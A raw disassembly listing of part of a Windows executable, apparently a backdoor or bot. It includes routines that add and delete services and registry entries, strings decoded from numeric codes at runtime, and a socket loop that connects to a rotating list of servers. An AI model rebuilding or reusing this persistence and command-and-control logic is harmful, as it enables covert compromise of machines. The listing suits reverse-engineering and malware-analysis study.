mov dword ptr [esp+54h+var_30], ecx
push edx
mov eax, 1
or ebx, 0FFFFFFFFh
lea ecx, [esp+58h+var_40]
push 2
push esi
mov [esp+60h+var_3C], eax
mov [esp+60h+var_40], eax
mov [esp+60h+var_38], ebx
mov [esp+60h+var_2C], eax
mov [esp+60h+var_28], ecx
nop
call near ptr 29202C1h
test eax, eax
push esi
mov esi, dword_50F74C
jnz short loc_40EEEC
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
xor al, al
jmp short loc_40EF00
; ---------------------------------------------------------------------------
loc_40EEEC: ; CODE XREF: sub_40ED70+164j
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
mov al, 1
loc_40EF00: ; CODE XREF: sub_40ED70+3Aj
; sub_40ED70+104j ...
mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40ED70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EF90 proc near ; CODE XREF: sub_401942j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 29108F0h
nop
mov edi, eax
test edi, edi
jnz short loc_40EFB7
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push edi
nop
call near ptr 28B02FFh
mov esi, eax
test esi, esi
jnz short loc_40EFE4
push edi
nop
call near ptr 2920000h
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40EFE4: ; CODE XREF: sub_40EF90+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
nop
call near ptr 291056Eh
push esi
call near ptr 29107B1h
nop
push esi
mov esi, dword_50F74C
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40EF90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F030 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 29108F0h
nop
mov esi, eax
test esi, esi
jnz short loc_40F04F
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F04F: ; CODE XREF: sub_40F030+17j
mov ecx, [esp+4+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push esi
nop
call near ptr 28B02FFh
test eax, eax
jnz short loc_40F076
push esi
nop
call near ptr 2920000h
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F076: ; CODE XREF: sub_40F030+37j
push edi
mov edi, dword_50F74C
push eax
call edi ; dword_50F74C
push esi
call edi ; dword_50F74C
pop edi
mov al, 1
pop esi
retn 4
sub_40F030 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F0B0 proc near ; CODE XREF: sub_401FDCj
arg_0 = dword ptr 4
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 29108F0h
nop
mov edi, eax
test edi, edi
jnz short loc_40F0D1
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F0D1: ; CODE XREF: sub_40F0B0+18j
mov ecx, [esp+8+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push edi
nop
call near ptr 28B02FFh
mov esi, eax
test esi, esi
jnz short loc_40F0FB
push edi
call near ptr 2920000h
nop
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj
push 0
push 0
push esi
nop
call near ptr 2900BF1h
push esi
mov esi, dword_50F74C
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
pop edi
mov al, 1
pop esi
retn 4
sub_40F0B0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40F140: ; CODE XREF: ___:loc_4014A1j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_439048
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F23A
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011EA
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_401726
test al, al
jz short loc_40F206
lea ecx, [esp+0Ch]
call sub_4017E4
push eax
lea ecx, [esp+28h]
call sub_4017E4
push eax
push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
loc_40F206: ; CODE XREF: ___:0040F1C7j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F23A: ; CODE XREF: ___:0040F176j
lea ecx, [edi+47h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F2D9
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
push ecx
mov ecx, edi
call sub_401447
test al, al
jz short loc_40F2B2
lea ecx, [esp+24h]
call sub_4017E4
push eax
push offset aRegDelS_ ; "reg(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_40F2B2: ; CODE XREF: ___:0040F27Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F2D9: ; CODE XREF: ___:0040F24Cj
lea ecx, [edi+75h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F3EF
push 1
push offset asc_443600 ; " "
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011EA
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_402153
test al, al
jz short loc_40F3AD
lea ecx, [esp+24h]
call sub_4017E4
push eax
lea ecx, [esp+10h]
call sub_4017E4
push eax
lea ecx, [esp+44h]
call sub_4017E4
push eax
push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 20h
loc_40F3AD: ; CODE XREF: ___:0040F364j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F3EF: ; CODE XREF: ___:0040F2EBj
lea ecx, [edi+0A3h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F491
push 1
push offset asc_443600 ; " "
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_401942
test al, al
jz short loc_40F46A
lea ecx, [esp+54h]
call sub_4017E4
push eax
push offset aServDelS_ ; "serv(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_40F46A: ; CODE XREF: ___:0040F435j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F491: ; CODE XREF: ___:0040F404j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F590 proc near ; CODE XREF: sub_401D02j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
nop
call near ptr 77C2C407h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40F590 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F600 proc near ; CODE XREF: sub_401695j
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40F600
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401E6A
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_4011B3
lea ebp, [esi+28h]
mov ecx, ebp
call sub_401424
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_401424
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_401749
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_401749
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_401749
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_401749
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_401749
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_401749
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_401749
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_401749
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_401749
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_401749
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_401749
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_401749
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_401749
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_401749
lea eax, [esp+3Ch+var_29]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_401721
mov dword ptr [edi], offset off_43E034
mov bl, 11h
xor edi, edi
push offset byte_446F60
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_43E028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_4015D7
call near ptr 27F06FDh
nop
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_4017E4
push eax
push offset dword_4470EC
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4019B5
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_4017E4
push eax
push offset dword_4470F0
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_4017E4
push eax
push offset dword_4470F4
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4019B5
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_4017E4
push eax
push offset dword_4470F8
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4019B5
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_4017E4
push eax
push offset dword_4470FC
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_4017E4
push eax
push offset dword_447100
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_4017E4
push eax
push offset dword_447104
call sub_401D02
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_4017E4
push eax
push offset dword_447108
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Dh
push 2Dh
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_4017E4
push eax
push offset dword_44710C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_4017E4
push eax
push offset dword_447110
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_4017E4
push eax
push offset dword_447114
call sub_401D02
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_4017E4
push eax
push offset dword_447118
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_4017E4
push eax
push offset dword_44711C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_4017E4
push eax
push offset dword_447120
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_4017E4
push eax
push offset dword_447124
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_4017E4
push eax
push offset dword_447128
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_4017E4
push eax
push offset dword_44712C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_4017E4
push eax
push offset dword_447130
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40F600 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4013C0
sub_40FD70 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_40FD88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40FD88: ; CODE XREF: ___:0040FD7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FDA0 proc near ; CODE XREF: sub_4013C0j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40FDA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E028
mov dword ptr [esi+11h], offset off_43E034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401B54
sub_40FDA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+2ACh]
mov byte ptr [esp+10h], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+10h], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+10h], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+10h], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+10h], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+10h], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+10h], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+10h], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+10h], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+10h], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+10h], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+10h], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+10h], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+10h], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+28h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40FF60 proc near ; CODE XREF: sub_40212Bj
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_4395D3
push eax
mov eax, 2478h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_401424
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_411330
loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj
mov al, byte_4E6E74
mov edi, dword_50F8A4
cmp al, bl
jz loc_411330
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_40FFCA
cmp dword ptr [ebp+1Ch], 5
jg short loc_40FFD4
cmp eax, ebx
jz loc_41010E
loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_41010E
loc_40FFD4: ; CODE XREF: sub_40FF60+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_40FFE9
push eax
nop
call near ptr 71AB9639h
loc_40FFE9: ; CODE XREF: sub_40FF60+80j
mov ecx, offset word_448C8E
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_401537
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_401974
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_410019
mov [ebp+20h], ebx
loc_410019: ; CODE XREF: sub_40FF60+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_40146A
mov ecx, [eax]
add ecx, 16Dh
push ecx
push offset byte_44741D
mov ecx, offset word_448D06
call sub_401F32
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_40146A
mov eax, [eax]
mov ecx, offset word_448D06
add eax, 1B6h
push eax
push offset dword_4473D4
call sub_401F32
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_40146A
mov edx, [eax]
mov ecx, offset word_448D06
push edx
push offset dword_4472B0
call sub_401F32
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_40146A
mov ecx, [eax]
add ecx, 124h
push ecx
push offset word_447342
mov ecx, offset word_448D06
call sub_401F32
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_40146A
mov eax, [eax]
mov ecx, offset word_448D06
add eax, 0DBh
push eax
push offset byte_4472F9
call sub_401F32
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_40146A
mov edx, [eax]
mov ecx, offset word_448D06
add edx, 92h
push edx
push offset byte_44738B
call sub_401F32
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_40146A
mov ecx, [eax]
add ecx, 1FFh
push ecx
push offset byte_4474AF
mov ecx, offset word_448D06
call sub_401F32
call edi ; dword_50F8A4
mov [ebp+24h], eax
loc_41010E: ; CODE XREF: sub_40FF60+64j
; sub_40FF60+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_410138
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
push 7D0h
mov [ebp+18h], eax
mov [ebp+15h], bl
nop
call near ptr 28402DAh
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410138: ; CODE XREF: sub_40FF60+1B4j
cmp [ebp+15h], bl
jnz loc_4102C8
mov ax, word_44735C
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
nop
call near ptr 71AB2B66h
mov ecx, offset byte_4472F9
mov [esp+24h+arg_1E], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
mov [esp+24h+arg_20], eax
call edi ; dword_50F8A4
mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jnz short loc_4101B8
push 2710h
nop
call near ptr 28402DAh
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4101B8: ; CODE XREF: sub_40FF60+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi ; dword_50F8A4
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
